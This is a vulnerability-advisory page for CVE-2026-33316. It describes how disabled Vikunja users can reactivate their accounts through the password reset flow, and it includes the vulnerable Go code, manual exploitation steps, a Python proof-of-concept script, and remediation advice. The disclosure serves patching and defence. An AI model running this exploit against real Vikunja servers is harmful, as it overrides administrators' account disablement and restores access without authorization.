Skip to main content

Python CVE-2026-33316

HIGH
Improper Access Control (CWE-284)
2026-03-20 https://github.com/go-vikunja/vikunja GHSA-vq4q-79hh-q767
8.1
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
8.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
SUSE
HIGH
qualitative

Primary rating from GitHub Advisory.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Analysis Generated
Mar 20, 2026 - 17:30 vuln.today
Patch released
Mar 20, 2026 - 17:30 nvd
Patch available
CVE Published
Mar 20, 2026 - 17:25 nvd
HIGH 8.1

DescriptionGitHub Advisory

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/user_password_reset.go, beginning at line 66:

go
	// Hash the password
	user.Password, err = HashPassword(reset.NewPassword)
	if err != nil {
		return
	}

	err = removeTokens(s, user, TokenPasswordReset)
	if err != nil {
		return
	}

	user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active
	_, err = s.
		Cols("password", "status").
		Where("id = ?", user.ID).
		Update(user)
	if err != nil {
		return
	}

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps
  1. Create a standard user account in Vikunja.
  2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2).
  3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled).
  4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address.
  5. Retrieve the password reset token from the incoming email.
  6. Send a POST request to /api/v1/user/password/reset with the token and a new password.
  7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.
Automation PoC
python
import requests
import psycopg2
import time
import secrets

API_URL = "http://localhost:3456/api/v1"

def main():
    username = f"testuser_{secrets.token_hex(4)}"
    email = f"{username}@example.com"
    password = "SuperSecretPassword123!"

    print("[1] Registering user...")
    requests.post(f"{API_URL}/register", json={"username": username, "email": email, "password": password})

    print("[2] Admin disables account (Status = 2)...")
    conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunja_password")
    cursor = conn.cursor()
    cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,))
    conn.commit()

    print("[3] Verifying login is blocked...")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": password})
    print(f"Login response: {res.status_code} (Should be 412)")

    print("[4] Attacker requests password reset...")
    requests.post(f"{API_URL}/user/password/token", json={"email": email})

    print("[5] Attacker grabs token from email/DB...")
    cursor.execute("SELECT id FROM users WHERE username = %s;", (username,))
    user_id = cursor.fetchone()[0]
    cursor.execute("SELECT token FROM user_tokens WHERE user_id = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (user_id,))
    token = cursor.fetchone()[0]

    print("[6] Attacker submits reset, triggering bug...")
    new_password = "HackedPassword123!"
    requests.post(f"{API_URL}/user/password/reset", json={"token": token, "new_password": new_password})

    print("[7] Attacker logs in successfully!")
    res = requests.post(f"{API_URL}/login", json={"username": username, "password": new_password})
    print(f"Final Login response: {res.status_code} (Should be 200)")

    cursor.execute("SELECT status FROM users WHERE username = %s;", (username,))
    print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)")
    conn.close()

if __name__ == "__main__":
    main()

Impact

  • Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision.
  • Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

AnalysisAI

Vikunja task management application contains an authentication bypass vulnerability in its password reset logic that allows disabled user accounts to be reactivated without authorization. The ResetPassword() function unconditionally sets user status to 'Active' after password reset completion, enabling disabled users to regain full access by requesting a password reset token and completing the reset process. A working proof-of-concept Python script is publicly available demonstrating automated exploitation of this vulnerability.

Technical ContextAI

This vulnerability affects Vikunja, a Go-based open-source task management application (pkg:go/code.vikunja.io_api). The root cause is classified as CWE-284 (Improper Access Control), specifically in the user_password_reset.go module at line 66 where the ResetPassword() function unconditionally executes 'user.Status = StatusActive' without validating the account's prior state. The flaw stems from an incorrect assumption that password resets only occur for unconfirmed or normally-active accounts, failing to account for administratively-disabled accounts (status = 2). The RequestUserPasswordResetTokenByEmail function compounds the issue by using GetUserWithEmail() which does not filter disabled users, allowing them to initiate the reset flow. The vulnerable code directly updates the database with both new password hash and active status via a two-column update operation, bypassing any authorization checks on account status transitions.

RemediationAI

Upgrade Vikunja to a patched version incorporating commits 049f4a6be46f9460bd516f489ef9f569574bc70d and d8570c603da1f26635ce6048d6af85ede827abfb as detailed in the vendor advisory at https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767. The patches modify the ResetPassword() function to preserve existing account status for disabled users rather than unconditionally activating them. Until patching is completed, implement compensating controls including monitoring of password reset activity for disabled accounts, implementing additional verification steps before allowing password resets on sensitive accounts, and auditing user status changes in database logs to detect unauthorized reactivations. Consider temporarily disabling password reset functionality via reverse proxy rules if disabled account security is critical to operations.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2026-55255 HIGH POC
8.4 Jun 19

Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing

Vendor StatusVendor

SUSE

Severity: High
Product Status
openSUSE Leap 15.6 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP5 Fixed
SUSE Linux Enterprise Module for Package Hub 15 SP6 Fixed
openSUSE Leap 15.5 Fixed

Share

CVE-2026-33316 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy